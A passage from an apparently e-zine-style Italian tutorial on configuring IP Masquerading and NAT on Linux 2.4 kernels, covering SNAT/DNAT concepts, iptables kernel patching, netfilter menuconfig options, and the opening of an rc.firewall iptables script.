casalinga, pero' come potete | | vedere l'IP Masquerading e' MOLTO utile se non si vogliono spendere | | soldi e tempo per fare navigare i nostri client. | | | | Questo esempio non e' che l'UNITA' minima di quello che possiamo fare | | con IP Masquerading, infatti il progetto spazia dalla piu' piccola e | | insignificante LAN (come da esempio sopra) a quella piu' grosse | | professionale che possiamo costruire. | | Vedremo in seguito come fare, se siete arrivati fino qui sono certo che | | la cosa vi interessa ;) (perche' non riprendere in mano quel vecchio 486 | | che sta in cantina........) | | | | Un server di questo tipo solitamente potrebbe venire tenuto come un vero | | e proprio rottame, senza mouse, senza monitor, basta che sia acceso e | | che faccia il proprio dovere (e spesso non e' nemmeno un macchina | | potente, anzi), cosi' possiamo considerare la macchina che andremo a | | configurare e costruire. | | | | # Ip Masquerading a basso livello e altro (NAT, SNAT, DNAT) | | | | Alcuni di voi non avranno familiarita' con il concetto di NAT. | | Vi posso dire che esso vi consente di riscrivere le intestazioni dei | | pacchetti quando essi passano attraverso il firewall. | | Queste intestazioni possono essere riscritte quando lasciano il firewall | | (post-routing) e causano la modifica dell'indirizzo sorgente del sistema | | che ha iniziato la connessione con l'indirizzo esterno del firewall. | | Di conseguenza il server su internet vede una connessione come originata | | dal firewall o dal sistema NAT. | | Detto in termini semplici, le macchine della nostra rete, escono su | | internet tutte con lo stesso IP. | | indirizzo IP. | | Poiche' l'indirizzo sorgente viene cambiato, netfilter chiama questa | | traduzione Source NAT (SNAT); potete usare SNAT per proteggere una rete | | con indirizzo IP pubblici. | | L'IP Masquerading e' una forma specializzata di SNAT, ed e' comunemente | | usata per consentire a una rete con indirizzi IP privati (quindi | | indirizzi ip NON accessibili da internet) di essere in grado di accedere | | a internet, come spiegato sopra nel nostro esempio. | | Solitamente l'IP Masquerading e' riservato per gli account telefonici | | con indirizzi IP dinamici. | | Se non conoscete l'indirizzo IP che vi viene assegnato nel momento che | | vi collegate con il vostro ISP (o provider) di fiducia, questa e' | | probabilmente la vostra situazione e dovrete utilizzare IP Mas uerading | | invece di SNAT. | | | | Un altro tipo di traduzione degli indirizzi (packet mangling, andra' | | abilitato nel kernel successivamente ;) che netfilter consente, e' | | chiamato Destination NAT (DNAT). | | Questa forma di mangling degli indirizzi e' eseguita PRIMA dal routing | | ed e' usata per ottenere una connessione iniziale al sistema NAT che | | viene poi rediretta ad un sistema interno. | | Generalmente e' chiamato PORT-FORWARDING (forward = portare | | avanti,inoltrare, in questo caso), visto che il forwarding generalmente | | si basa sulla porta di connessione iniziale. | | Questo allora vi consentira' di avere sistemi SEPARATI sulla vostra rete | | trusted (in fiducia) per la gestione di servizi, i soliti HTTP, DNS, | | MAIL, FTP e via dicendo, ma che pero' appaiono al mondo come se avessero | | origine dallo stesso sistema NAT. | | Questa forma di mangling richiede che abbiate un indirizzo IP | | accessibile da internet, se dovete usare l'IP Masquerading, non sarete | | in grado di usare DNAT. | | | | > due reti, due mondi | | | | il software dei firewall a packet filtering e' usato per NASCONDERE una | | rete pubblica interna e per consentire l'ingresso solo al traffico | | determinato. | | | | ------------- | | | 62.211.17.2 |--| | | ------------- /---\ /-----------------------------\ | | | 62.211.17.1 |-|HUB|-| SERVER/GATEWAY (62.211.17.1)|-{ISP}-[INTERNET] | | ------------- \---/ \-----------------------------/| | | | 62.211.17.3 |--| | | | ------------- | | | tutte le macchine devono usare | | un indirizzo IP valido per navigare | | | | | | lo schema di rete che non segue queste regole, sono le reti domestiche, | | come nel nostro caso e delle piccole reti aziendali, le quali non | | hanno miriadi di indirizzi ip accessibili da internet, ma ne hanno uno | | solo, che gli viene assegnato all'isp tramite un collegamento | | telefonico. | | | | ------------- | | | 192.168.0.2 |--| | | ------------- /----\ /----------------\ | | | 192.168.0.3 |-|HUB|--| SERVER/GATEWAY |-{ISP}-[INTERNET] | | ------------- \----/ \----------------/| | | | 192.168.0.4 |--| | -----------| | | ------------- | | | | ip assegnato dal provider ad le macchine usano ip fittizi | | esempio 62.211.17.128, e fa per accedere a internet | | uscire le macchine della lan | | con questo indirizzo ip | | | | Quindi, ricapitolando, l'IP Masquerading offre a tutte le macchine | | connesse alla nostra LAN, l'accesso ad una rete esterna, usando un solo | | indirizzo IP sulla nostra macchina server :) | | Tutti i pacchetti di rete associati a internet sono mascherati come se | | fossero inviati dal server che esegue il masquerading ed il server | | mantiene tutte le informazioni necessarie per INSTRADARE alle | | macchine interne i pacchetti che vengono restituiti dalla rete. | | | | Qualcuno potrebbe pensare che ogni connessione e' sia SNAT che DNAT, in | | funzione della direzione nella quale i pacchetti stanno andando. | | Rispondo che e' il pacchetto iniziale della connessione, cioe' il | | pacchetto di sincronizzazione (vale a dire pacchetto con impostato solo | | il bit di SYN), che determina il tipo di connessione, dopodiche' | | il tracking delle connessioni consente che i pacchetti di ritorno | | arrivino al sistema che ha originato la connessione. | | | | # IP Masquerading in pratica, applicazione per i kernel 2.4.x | | | | Assicuratevi di avere le sorgenti del vostro kernel preferito, ed | | entrate nella directory, sperando che sappiate quello che state facendo | | (questo documento NON vuole spiegare come si compilano il ke | | nel, esistono ottimi HOWTO). | | Solitamente sono in /usr/src/linux, entrate ed eseguite un: | | | | per attivare IP Masquerading avrete bisogno di: | | > un computer (beh..) | | > linux (ovviamente..) | | > sorgenti del kernel (http://www.kernel.org) ed un LKM | | (http://www.pi.se/blox/modutils/index.html) | | > una configurazione TCP/IP funzionante (affronteremo il discorso | | nel nostro esperimento fisico) | | > connettivita' a internet | | > iptables (2.4.x) / ipchains (2.2.x) / ipfwadm (2.0.x) | | > supporto del kernel per IP forwarding, IP masquerading, IP | | Firewalling, eccetera | | | | alcune distribuzioni sono PRONTE per fare ip-masquerading, ma altre no, | | quindi e' bene dare una occhiata prima di attuare qualsiasi | | procedimento. | | | | eseguite questo comando: | | | | # ls /proc/sys/net/ipv4 | | | | se compaiono anche | | | | ip_dynaddr | | ip_forward | | | | allora non avrete bisogno di ricompilare il kernel, visto che sara' gia' | | pronto per ip masquerading e potrete saltare oltre questo capitolo. | | | | Se invece non appare nulla del genere, allora dovrete seguire questi | | passi. | | | | | | ### Compilazione e installazione del kernel NON Ip Masquerading ready | | | | Prima di tutto, avete bisogno dei sorgenti del kernel (spero li abbiate | | gia' e che abbiate anche il supporto per IPTABLES, come in tutti i | | kernel recenti) | | | | Prossimo passo, avete bisogno di IPTABLES per applicare le patch sul | | kernel, per esempio l'archivio IPTABLES abilita il mascheramento per il | | traffico FTP (anche IRC, in qualche kernel tree). | | http://netfilter.filewatcher.org/ | | | | Non e' consigliato mettere le nuove sorgenti del kernel in | | /usr/sr/linux, lascia questa cartella (contiene i sorgenti originali del | | kernel della tua distribuzione di linux) cosi' com'e', creeremo un'altra | | cartella per compilare. | | | | Crea una cartella chiamata /usr/src/kernel, entra in questa directory e | | scarica le sorgenti del kernel qua dentro. | | Una volta scaricato, se il file e' un tar.gz | | # tar xvzf linux-2.4.x.tar.gz | | o se finisce per bz2 | | # tar xyvf linux-2.4.x.tar.bz2 | | | | sostituisci la x nel file del kernel con la versione che hai scaricato. | | Alcune distribuzioni di linux usano il flag 'I' invece del 'y' per | | scompattare gli archivi bzip2. | | | | Una volta decompresso, rinomina la directory da linux a linux-2.4.x per | | chiarezza, per farlo: | | # mv linux linux-2.4.x | | assicurati poi che c'e' una cartella o un link simbolico che punta a | | /usr/src/kernel/linux, vale a dire: | | # ln -s /usr/src/kernel/linux-2.4.x /usr/src/kernel/linux | | | | E' raccomando installare ogni appropriata o patch opzionale alle | | sorgenti del kernel PRIMA di compilarlo. | | Ad esempio installare le patch puo' servire ad abilitare particolari | | moduli che supportano applicazioni come IRC, FTP e quando altro. | | | | > applicare i patch IPTABLES al kernel | | | | scarica i pacchetti iptables dall'url che vi ho proposto sopra e | | piazzatelo in una directory, chiamata | | /usr/src/archive/netfilter. | | Andate in questa directory e decomprimete l'archivio iptables con il | | comando: | | | | # tar xyvf iptables-1.2.x.tar.bz2 | | | | ora andate nella nuova directory iptables-1.2.x ed eseguite | | | | # make pending-patches KERNEL_DIR=/usr/src/kernel/linux | | nota: questo fa si' che le sorgenti del kernel 2.4.x sono in | | /usr/src/kernel/linux nota #2: se inserisci un '/' alla fine della riga | | di comando, ti ritornera' un errore dicendo: | | | | # make: *** [/usr/src/kernel/linux/include/asm/socket.h] Error 1". | | | | Rimuovi la '/' e riprova. | | | | Ecco un esempio del prompt che potresti ricevere per il kernel 2.4.4 | | (nota che questo potrebbe cambiare con il tempo). | | | | | | Making dependencies: please wait... | | ----------------------------------------------------------------- | | Welcome to Rusty's Patch-o-matic! | | | | Each patch is a new feature: many have minimal impact, some do not. | | Almost every one has bugs, so I don't recommend applying them all! | | ------------------------------------------------------- | | Already applied: 2.4.1 tos-fix tcp-MSS | | | | Testing... 2.4.4.patch ALREADY APPLIED (4 rejects out of 96 hunks). | | | | Excellent! Kernel is now ready for compilation. | | ----------------------------------------------------------------- | | | | Giusto per essere completi, questo e' il prompt che potresti ricevere | | per il kernel 2.4.3 | | | | | | | | Making dependencies: please wait... | | ----------------------------------------------------------------- | | Testing... 2.4.1.patch ALREADY APPLIED (0 rejects out of 6 hunks). | | ----------------------------------------------------------------- | | Testing... tos-fix.patch ALREADY APPLIED (0 rejects out of 1 hunks). | | ----------------------------------------------------------------- | | Testing... tcp-MSS.patch ALREADY APPLIED (0 rejects out of 4 hunks). | | ----------------------------------------------------------------- | | Testing... 2.4.4.patch NOT APPLIED ( 2 missing files) | | The 2.4.4 patch: | | Author: Rusty Russell and others. | | Status: Recommended (Already in 2.4.4 and above). | | | | This contains numerous fixes: | | | | 1) FTP cleanup: | | o Fixes for bugtraq-announced FTP security problems. | | o Understanding of EPSV and EPRT FTP extensions. | | o Servers with unusual PASV responses are supported. | | o FTP connection tracking and NAT on unusual ports. | | o Core "helper" code moved to ip_nat_helper.c. | | 2) NAT now doesn't drop untracked packets (eg. multicast, nmap, etc). | | 3) SMP race with connection tracking is fixed. | | 4) NAT now spreads more evenly, if given a range of IP addresses. | | 5) Masquerading now cooperates with diald better. | | 6) DNAT and SNAT rules can only be inserted in the "nat" table. | | 7) mtr through a connection tracking box will no longer drop 90% of | | packets. | | 8) Reloading the iptable_nat module won't get old, stale NAT | | information. | | 9) First packet of a connection is seen by the helper functions. | | 10) "hashsize" parameter to ip_conntrack module. | | | | Do you want to apply this patch [N/y/t/f/q/?] y | | | | Testing patch 2.4.4.patch... | | Patch 2.4.4.patch applied cleanly. | | Applying patch 2.4.4.patch... | | Patch 2.4.4.patch applied cleanly. | | ----------------------------------------------------------------- | | | | Excellent! Kernel is now ready for compilation. | | | | | | Se tutto e' andato bene, dovresti vedere qualcosa come "Excellent!" | | Il kernel e' pronto per la compilazione. | | | | OK, il kernel e' pronto, ma dovresti essere sicuro che hai anche il | | programma iptables sulla tua macchina. | | Esegui: | | | | # whereis iptables | | | | e assicurati che e' installato (la cartella di default e' piazzata in | | /usr/local/sbin/iptables) | | | | Se non trova nulla, raccomando semplicemente di compilare. | | Siccome hai gia' patchato il kernel con il patch di IPTABLES, compilare | | IPTABLES dovrebbe essere semplice, segui questi passi: | | | | # make KERNEL_DIR=/usr/src/kernel/linux | | # make install KERNEL_DIR=/usr/src/kernel/linux | | | | | | ### Configurazione per i kernel Ip Masquerading ready | | | | andate nella directory che contiene la sorgente del kernel e fate un | | | | # make menuconfig | | | | o se preferite, e se siete in ambiente X: | | | | # make xconfig | | | | una volta che siete nel menu dovremo andare a verificare queste cosucce: | | | | [ Code maturity level options ] | | | | * Prompt for development and/or incomplete code/drivers | | (CONFIG_EXPERIMENTAL) [Y/n/?] | | - YES: non e' richiesto per ip masquerading, ma abilita il kernel | | per creare i moduli MASQ e abilitare l'opzione per il port | | forwarding | | | | * Enable loadable module support (CONFIG_MODULES) [Y/n/?] | | - YES: permette al kernel di abilitare i moduli IP MASQ | | | | * Set version information on all module symbols | | (CONFIG_MODVERSIONS) [Y/n/?] | | - YES: permette al kernel di caricare vecchi moduli se possibile | | | | * Kernel module loader (CONFIG_KMOD) [Y/n/?] | | - OPTIONAL: Raccomandato : permette al kernel di caricare vari | | moduli se e quando ne ha bisogno | | | | == Opzioni Non-MASQ saltate | | == (CPU , memoria, SMP, FPU, specific stuff) | | | | | | [ General setup ] | | | | * Networking support (CONFIG_NET) [Y/n/?] | | - YES: Abilita il sistema networking | | | | == Opzioni Non-MASQ saltate | | == (specific hardware, PCI, kernel binaries, PCMCIA, etc.) | | | | | | * Sysctl support (CONFIG_SYSCTL) [Y/n/?] | | - YES: Permette l'abilita' di abilitare/disabilitare le opzioni | | come il forwarding, ip dinamici tramite l'interfaccia /proc | | | | [ Block devices ] | | | | == Opzioni Non-MASQ saltate | | == (kernel binaries, power management, PnP, RAID, etc.) | | | | == Non dimenticare di compilare il supporto per l' hardware di | | cui avresti bisogno: | | == IDE controllers, HDs, CDROMs, etc. | | | | [ Networking options ] | | | | * Packet socket (CONFIG_PACKET) [Y/m/n/?] | | - YES: Permette di usare TCPDUMP per fare un debug di qualsiasi | | problema con IP MASQ | | | | * Packet socket: mmapped IO (CONFIG_PACKET_MMAP) [N/y/?] y | | - YES: Accelera il packet protocol | | | | * Kernel/User netlink socket (CONFIG_NETLINK) [Y/n/?] | | - OPTIONAL: Raccomandato : questa feature abilita il logging dei | | problemi di firewall avanzati. | | | | * Routing messages (CONFIG_RTNETLINK) [N/y/?] (NEW) y | | - OPTIONAL: Abilita il supporto per gli advanced kernel routing | | messages se hai abilitato l'opzione CONFIG_NETLINK | | | | * Netlink device emulation (CONFIG_NETLINK_DEV) [N/y/m/?] (NEW) | | - NO: Questa opzione non ha nulla a che fare con il logging dei | | pacchetti firewall | | | | * Network packet filtering (replaces ipchains) | | (CONFIG_NETFILTER) [N/y/?] y | | - YES: Fa si' che IPTABLES configura le sottosezione TCP/IP del | | kernel, come spiegato sopra. Abilitando questo, abiliti i | | meccanismi avanzati di routing, come ip masq, packet | | filtering e cosi' via | | | | * Network packet filtering debugging | | (CONFIG_NETFILTER_DEBUG) [N/y/?] (NEW) n | | - NO: Non richiesto dal Masquerading, ci potrebbe essere una | | penalizzazione di performance abilitandolo. | | | | * Socket Filtering (CONFIG_FILTER) [Y/n/?] | | - OPTIONAL: Raccomandato : Pensando che non ha niente a che fare | | con IP Masquerading, se hai in mente di installare un | | server DHCP sulla tua rete interna devi abilitare | | questa opzione. | | | | * Unix domain sockets (CONFIG_UNIX) [Y/m/n/?] | | - YES: Abilita i meccanismi e i sistemi dei socket UNIX | | | | * TCP/IP networking (CONFIG_INET) [Y/n/?] | | - YES: Abilita il protocollo TCP/IP | | | | * IP: multicasting (CONFIG_IP_MULTICAST) [N/y/?] | | - OPTIONAL: Puoi abilitarlo se vuoi ricevere del traffico | | Multicast, nota che il tuo ISP deve supportare | | Multicast per farlo funzionare | | | | * IP: advanced router (CONFIG_IP_ADVANCED_ROUTER) [Y/n/?] | | - OPTIONAL: Non c'e' niente di legato a IP Masquerading, ma qualche | | opzione potrebbe essere utile. | | | | == Opzioni Non-MASQ saltate | | == ( autoconf, tunneling ) | | | | * IP: multicast routing (CONFIG_IP_MROUTE) [N/y/?] n | | - OPTIONAL: Non pensato per IPMASQ, questa feature vi permette di | | fare routing del traffico multicast attraverso la tua | | Linux box. | | Questo non richiede che il tuo ISP abbia il traffico | | multicast abilitato | | | | == Opzioni Non-MASQ saltate | | == (ARPd) | | | | * IP: TCP Explicit Congestion Notification support | | (CONFIG_INET_ECN) [N/y/?] n | | - NO: Abilitare questa opzione sarebbe bello, ma molti siti | | internet bloccano questa feature. | | Premi '?' quando configuri il kernel per saperne di piu' su | | questa opzione, rispondi NO per ora. | | | | * IP: TCP syncookie support (disabled per default) | | (CONFIG_SYN_COOKIES) [Y/n/?] | | - YES: Raccomandato : per la sicurezza TCP/IP di base | | (mm..ho sentito un exploit recente su questo.. ;) | | | | | | [ Networking options --> IP: Netfilter Configuration ] | | | | | | * Connection tracking (required for masq/NAT) | | (CONFIG_IP_NF_CONNTRACK) [N/y/m/?] (NEW) m | | - YES: (Module) Abilita il kernel per tenere traccia delle varie | | connessioni alla rete. | | E' richiesta da IPMASQ per abilitare le tracce di | | vari meccanismi firewall. | | Nota che se compili questa opzione direttamente nel | | kernel (senza modulo) non potrai abilitare i moduli | | compatibili IPCHAINS o IPFWADM | | | | * FTP protocol support (CONFIG_IP_NF_FTP) [M/n/?] (NEW) m | | - YES: (Module) Abilita il supporto Masquerading per le connessioni | | FTP se CONFIG_IP_NF_CONNTRACK e' stato abilitato sopra. | | | | * Userspace queueing via NETLINK (EXPERIMENTAL) | | (CONFIG_IP_NF_QUEUE) [N/y/m/?] (NEW) m | | - OPTIONAL: questa feature permette a IPTABLES di copiare pacchetti | | specifici ai tools UserSpace per controlli addizionali | | | | * IP tables support (required for filtering/masq/NAT) | | (CONFIG_IP_NF_IPTABLES) [N/y/m/?] (NEW) m | | - YES: (Module) Abilita il supporto IPTABLES | | | | * limit match support (CONFIG_IP_NF_MATCH_LIMIT) [N/y/m/?] (NEW) y | | - OPTIONAL: (Module) Raccomandato : Non e' richiesto, ma questa | | opzione puo' essere usata per abilitare il | | rate limiting del traffico e i messaggi di | | loggin per rallentare gli attacchi DoS | | | | * MAC address match support (CONFIG_IP_NF_MATCH_MAC) | | [N/y/m/?] (NEW) m | | - OPTIONAL: Non e' richiesto, ma questa opzione ti permette di | | filtrare il traffico basato sulla sorgente degli | | indirizzi MAC delle Ethernet | | | | * netfilter MARK match support (CONFIG_IP_NF_MATCH_MARK) | | [N/y/m/?] (NEW) y | | - YES: (Module) Raccomandato : Permette a IPTABLES di prendere | | provvedimenti sui pacchetti marcati. | | Questo meccanismo abilita le | | funzionalita' PORTFW, TOS marking e | | altro | | | | * Multiple port match support (CONFIG_IP_NF_MATCH_MULTIPORT) | | [N/y/m/?] (NEW) y | | - YES: (Module) Recommended : Abilita IPTABLES ad accettare range | | di porte multiple SRC/DST all'interno | | di un port range per l'IPTABLES | | statement | | | | * TOS match support (CONFIG_IP_NF_MATCH_TOS) [Y/m/n/?] n | | - OPTIONAL: Abilita IPTABLES di confrontare i pacchetti basati sui | | loro settaggi DIFFSERV | | | | * tcpmss match support (CONFIG_IP_NF_MATCH_TCPMSS) [N/y/m/?] m | | - OPTIONAL: (Module) Raccomandato : Questa opzione abilita gli | | utenti a esaminare il valore di | | MSS nei pacchetti TCP SYN. | | Potrebbe essere d'aiuto nella | | risoluzione dei problemi legati | | al valore dell'MTU | | | | * Connection state match support (CONFIG_IP_NF_MATCH_STATE) [M/n/?] m | | - YES: (Module) Raccomandato : permette il tracking delle | | connessione alla network | | | | * Unclean match support (EXPERIMENTAL) | | (CONFIG_IP_NF_MATCH_UNCLEAN) [N/y/m/?] y | | - YES: (Module) Recommended : questa opzione permette il tracking | | su pacchetti odd. | | puo' essere anche di aiuto nel | | rintracciamento di pacchetti | | 'pericolosi' e anche un tool per | | tenere traccia della gente ostile | | sulla rete | | | | * Owner match support (EXPERIMENTAL) | | (CONFIG_IP_NF_MATCH_OWNER) [N/y/m/?] n | | - OPTIONAL: permette a IPTABLES di confrontare il traffico | | basato su user login, group, ecc, in pratica chi ha | | creato traffico. | | | | * Packet filtering (CONFIG_IP_NF_FILTER) [N/y/m/?] ? y | | - YES: (Module) Permette al kernel di poter abilitare il filtro | | del traffico a INPUT, FORWARD e OUTPUT. | | | | * REJECT target support (CONFIG_IP_NF_TARGET_REJECT) | | [N/y/m/?] (NEW) y | | - YES: (Module) Con questa opzione, un firewall basato su | | pacchetti, puo' mandare un pacchetto ICMP Reject, | | indietro a chi lo ha mandato, quando il pacchetto | | viene bloccato | | | | * MIRROR target support (EXPERIMENTAL) (CONFIG_IP_NF_TARGET_MIRROR) | | [N/y/m/?] (NEW) n | | - OPTIONAL: Questa opzioni abilita il firewall di copia esattamente | | lo stesso pacchetto indietro a chi lo ha mandato, | | supponendo che sia stato bloccato. | | | | * Full NAT (CONFIG_IP_NF_NAT) [M/n/?] m | | - YES: (Module) Questa opzioni abilita i futuri menus per | | abilitare Masquerading, PORTFWing, | | Full (1:1) NAT, e cosi' via. | | | | * MASQUERADE target support (CONFIG_IP_NF_TARGET_MASQUERADE) | | [M/n/?] (NEW) m | | - YES: (Module) carica il modulo Masquerade direttamente nel kernel | | | | * REDIRECT target support (CONFIG_IP_NF_TARGET_REDIRECT) [N/y/m/?] n | | - OPTIONAL: Non e' necessario per le normali funzionalita' di | | Masquerading, ma quella gente che vuole un proxy via | | Squid dovrebbe abilitarlo. | | | | | | * Packet mangling (CONFIG_IP_NF_MANGLE) [N/y/m/?] y | | - YES: (Module) Questa opzione abilita le funzioni per la | | manipolazione di pacchetti avanzate per IPTABLES | | | | | | * TOS target support (CONFIG_IP_NF_TARGET_TOS) [N/y/m/?] (NEW) n | | - OPTIONAL: Abilita il kernel a modificare il campo TOS in un | | pacchetto prima che faccia del routing | | | | * MARK target support (CONFIG_IP_NF_TARGET_MARK) [N/y/m/?] (NEW) m | | - OPTIONAL: (Module) Raccomandato : Permette al kernel di manipolare | | pacchetti basati sul campo MARK. | | Puo' essere usato per PORTFW | | come molte altre cose. | | | | * LOG target support (CONFIG_IP_NF_TARGET_LOG) [N/y/m/?] m | | - YES: (Module) Permette il logging di pacchetti prima che possano | | essere accettati, respingi, negati, ecc | | | | * TCPMSS target support (CONFIG_IP_NF_TARGET_TCPMSS) [N/y/m/?] ? m | | - YES: (Module) Puo' aiutare a risolvere i problemi di MTU. | | Tipicamente, molti utenti hanno settato la MTU | | della loro connessione internet a 1500 (io 1492). | | come tutte le altre macchine internet. | | Con questa opzione questo problema e' stato risolto. | | | | * ipchains (2.2-style) support (CONFIG_IP_NF_COMPAT_IPCHAINS) | | [N/y/m/?] m | | - OPTIONAL: (Module) Raccomandato : Se hai gia' un ruleset IPCHAINS | | (kernel 2.2.x) e abiliti questa | | opzione, potrai continuare ad | | usare il programma IPCHAINS. | | Nota che se abiliti IPCHAINS, | | tutti i moduli IPTABLES non | | saranno funzionali. | | | | * ipfwadm (2.0-style) support (CONFIG_IP_NF_COMPAT_IPFWADM) | | [N/y/m/?] n | | - OPTIONAL: Lo stesso di sopra, vale con i ruleset IPFWADM | | (kernel 2.0.x) | | | | == Opzioni Non-MASQ saltate | | == (IPv6, khttpd, ATM, IPX, AppleTalk, etc.) -- | | | | * Fast switching (read help!) (CONFIG_NET_FASTROUTE) [N/y/?] n | | - NO: Questa operazione di ottimizzazione delle prestazioni NON e' | | compatibile con IPMASQ e/o il packet filtering | | | | == Opzioni Non-MASQ saltate | | == (QoS, Telephony, IDE, SCSI, 1394FW, I2O, etc) | | | | == Non dimenticare di compilare il supporto per l'hardware di cui | | == hai bisogno: | | == IDE: HDs, CDROMs, etc. | | == SCSI: HDs, CDROMs, etc. | | | | | | [ Network device support ] | | | | * Network device support (CONFIG_NETDEVICES) [Y/n/?] | | - YES: Abilita il sublayer delle device per la rete Linux | | | | == Opzioni Non-MASQ saltate | | == (Arcnet) | | | | | | * Dummy net driver support (CONFIG_DUMMY) [M/n/y/?] | | - YES: Pensatelo OPTIONAL, pero' puo' aiutare a fare il degub di | | problemi | | | | == Opzioni Non-MASQ saltate | | == (EQL, etc..) | | | | == Don't forget to compile in support for hardware that you might | | == need: | | == NICs: eth, tr, etc. | | == MODEMs: ppp (ppp async) and/or slip | | == WANs: T1, T3, ISDN, etc. | | == ISDN: for internal ISDN modems | | | | | | == Non-MASQ options skipped | | == (Amateur Radio, IrDA, ISDN, USB, etc.) | | | | | | [ Character devices ] | | | | == Opzioni Non-MASQ saltate | | == (I2C, Watchdog cards, Ftape, Video for Linux, etc. ) | | | | | | [ File systems ] | | | | == Opzioni Non-MASQ saltate | | == (Quota, ISO9660, NTFS, etc ) | | | | * /proc filesystem support (CONFIG_PROC_FS) [Y/n/?] | | - YES: richiesto per configurare dinamicamente il linux forwarding | | e i sistemi NAT | | | | == Opzioni Non-MASQ saltate | | == (Console drivers, Sound, USB, Kernel Hacking) | | | | Ok, ora salvate la vostra configurazione, siete pronti per compilare. | | Non saro' io a dirvi come compilare, come detto in precedenza, ma vi | | daro' una mano | | # make dep | | # make clean | | # make bzImage | | # make modules | | # make modules_install | | per sapere cosa dovete fare dopo, riferitevi ai kernel howto, in | | particolare a uno: | | http://gpu.firenze.linux.it/test/kernel_2-4.html | | | | Successivamente dovete aggiornare il bootloader, ed e' sempre spiegato | | in questo howto soprastante. | | | | Bene, ora abbiamo i kernel a posto e possiamo passare alla | | configurazione del nostro firewall. | | Aprite il file /etc/rc.d/rc.local del vostro server linux con il vostro | | editor preferito e aggiungete le seguenti righe: | | | | #rc.firewall - Partenza di IPMASQ e del Firewall | | # | | | | /etc/rc.d/rc.firewall | | | | salvate e chiudete il file. | | | | prima di continuare, dovete assicurarvi che la vostra LAN sia a posto. | | potete fare un | | | | # ifconfig | | | | per controllare quali periferiche di rete siano in funzione. | | Nel caso non sappiate settare una rete, anche per questo ci sono ottimi | | howto in giro. | | Poniamo il caso che sul vostro server abbiate una scheda ethernet che | | viene gia' riconosciuta da linux e funzionante. | | A seconda delle classi che volete sulla vostra network privata, io | | consiglio di tenere un range di classe C | | | | Classe Inizio indirizzo Fine indirizzo Mask | | A 10.0.0.0 - 10.255.255.255 8 | | B 172.16.0.0 - 172.31.255.255 16 | | C 192.168.0.0 - 192.168.255.255 24 | | | | quindi di avere macchine che abbiano indirizzo 192.168.0.x poniamo che | | il server abbia indirizzo (statico interno privato riservato, come lo | | volete chiamare) 192.168.0.1 per attivare questa interfaccia: | | | | # ifconfig eth0 192.168.0.1 netmask 255.255.255.0 up | | | | con questo comando abbiamo "alzato" l'interfaccia di rete eth0 e resa | | operativa (questa ethernet sara' connessa ad un hub in caso di piu' | | computer o solamente ad un altro con un cavo twistato). | | | | una volta connessi a internet (useremo PPP, sappiate che si puo' fare | | anche con SLIP), potremo vedere anche una interfaccia chiamato ppp0, che | | e' quella che si affaccia sul mondo internet dal nostro server. | | | | Ora abbiamo bisogno di un minimo firewall ruleset, che abiliti il | | forwarding, e che instradi i pacchetti alla nostra rete in modo | | corretto. | | | | Un esempio del file rc.firewall potrebbe essere questo: | | | | NOTA: e' da MODIFICARE secondo le vostre esigenze! | | | | --- inizio rc.firewall --- | | | | | | #!/bin/sh | | # | | # rc.firewall-2.4 | | FWVER=0.62 | | # | | # Semplice Masquerade Test iniziale per i kernel 2.4.x che utilizzano | | # IPTABLES. | | # Initial SIMPLE IP Masquerade test for 2.4.x kernels | | # | | # Una volta che Masquerading e' stato testato consiglio un ruleset molto | | # piu' forte di questi, che e' basilare. | | # | | # | | | | echo -e "\n\Caricamente di rc.firewall, versione $FWVER..\n" | | | | | | # Dove risiede il programma IPTABLES? | | # | | # Se la tua distro di linux e' shippata con una copia di iptables, | | # probabilmente sara' in /sbin. | | # Se hai compilato manualmente IPTABLES, la locazione di default | | # sara' /usr/local/sbin | | # | | # Utilizza il comando whereis iptables , per scoprire dove | | # e' messo l'eseguibile ed utilizzare il path dato. | | # | | | | #IPTABLES=/sbin/iptables | | IPTABLES=/usr/local/sbin/iptables | | | | | | # Settings per le inferfacce ESTERNE e INTERNE per la rete | | # | | # Ogni rete Mascherata ha bisogno di avere almeno due interfacce. | | # Una interna ed una esterna. | | # | | # Per esempio, una internet potrebbe essere eth1 e quella esterna | | # eth0, nel caso di utenti modem come esterna si usera' | | # EXTIF="ppp0" | | # | | | | EXTIF="eth0" | | INTIF="eth1" | | echo " Interfaccia Esterna: $EXTIF" | | echo " Interfaccia Interna: $INTIF" | | | | | | #======================================================================# | | #Non c'e' bisogno di editare oltre questa riga per il MASQ Test | | iniziale# | | | | echo -en " caricando i moduli: " | | | | #Verifica che tutti i moduli hanno tutte le dipendenze richieste | | # | | | | echo " - Sto verificando che tutti i moduli siano a posto" | | /sbin/depmod -a | | | | echo -en "ip_tables, " | | /sbin/insmod ip_tables | | | | echo -en "ip_conntrack, " | | /sbin/insmod ip_conntrack | | | | | | # Abilita il tracking FTP, inserisci un '#' per disattivarlo | | echo -en "ip_conntrack_ftp, " | | /sbin/insmod ip_conntrack_ftp | | | | echo -en "iptable_nat, " | | /sbin/insmod iptable_nat | | | | | | # Abilita il NAT FTP per default, commenta con '#' per disattivarlo | | echo -en "ip_nat_ftp, " | | /sbin/insmod ip_nat_ftp | | | | # Qui ci andranno altri moduli esistenti | | | | echo ". Finito di caricare i moduli." | | | | | | # Abilita l'ip forwarding, gli utenti di redhat potrebbero cambiare | | # l'opzione di /etc/sysconfig/network da: | | # | | # FORWARD_IPV4=false | | # to | | # FORWARD_IPV4=true | | # | | echo " abilito il forwarding.." | | echo "1" > /proc/sys/net/ipv4/ip_forward | | | | | | # Utenti IP Dinamici, abilitate questa opzione (1 per default) | | echo " abilito DynamicAddr.." | | echo "1" > /proc/sys/net/ipv4/ip_dynaddr | | | | | | # Abilita un semplice IP forwarding e Masquerading | | # | | # Come gia' detto prima, IP Masquerading e' una forma di SNAT. | | # | | # Il seguente esempio fa riferimento ad una LAN interna con indirizzi | | # di classe C (192.168.0.x) e con una subnet mask di 255.255.255.0 | | # (o a 24 bit) | | # Questo esempio mascherera' il traffico interno fuori su internet e | | # non permette il traffico non inizializzato all'interno della rete | | # interna. | | # | | | | | | # Pulizia della configurazione precedente | | # | | # Se non specificato, i defaults per INPUT e OUTPUT sono ACCEPT | | # Il default per FORWARD e' DROP | | # | | echo " sto pulendo ogni regola esistente e settando le policy di | | default" | | $IPTABLES -P INPUT ACCEPT | | $IPTABLES -F INPUT | | $IPTABLES -P OUTPUT ACCEPT | | $IPTABLES -F OUTPUT | | $IPTABLES -P FORWARD DROP | | $IPTABLES -F FORWARD | | $IPTABLES -t nat -F | | | | echo " FWD: Accetto tutte le connessioni OUT e solo quelle esistenti" | | " e pertinenti IN" | | 